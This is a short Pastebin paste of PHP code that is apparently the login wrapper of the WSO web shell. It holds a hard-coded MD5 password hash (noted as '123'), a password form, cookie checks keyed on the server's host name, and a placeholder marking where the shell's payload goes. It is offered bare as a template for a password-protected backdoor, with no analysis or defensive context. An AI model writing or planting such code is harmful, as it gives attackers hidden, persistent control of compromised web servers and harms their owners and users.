Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $auth_pass = "202cb962ac59075b964b07152d234b70"; // Pass = 123
- function wsoLogin() {
- die("</div><pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>
- ");
- }
- function WSOsetcookie($k, $v) {
- $_COOKIE[$k] = $v;
- setcookie($k, $v);
- }
- if(!empty($auth_pass)) {
- if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
- WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
- if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
- wsoLogin();
- }
- // [ Put the code here ]
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement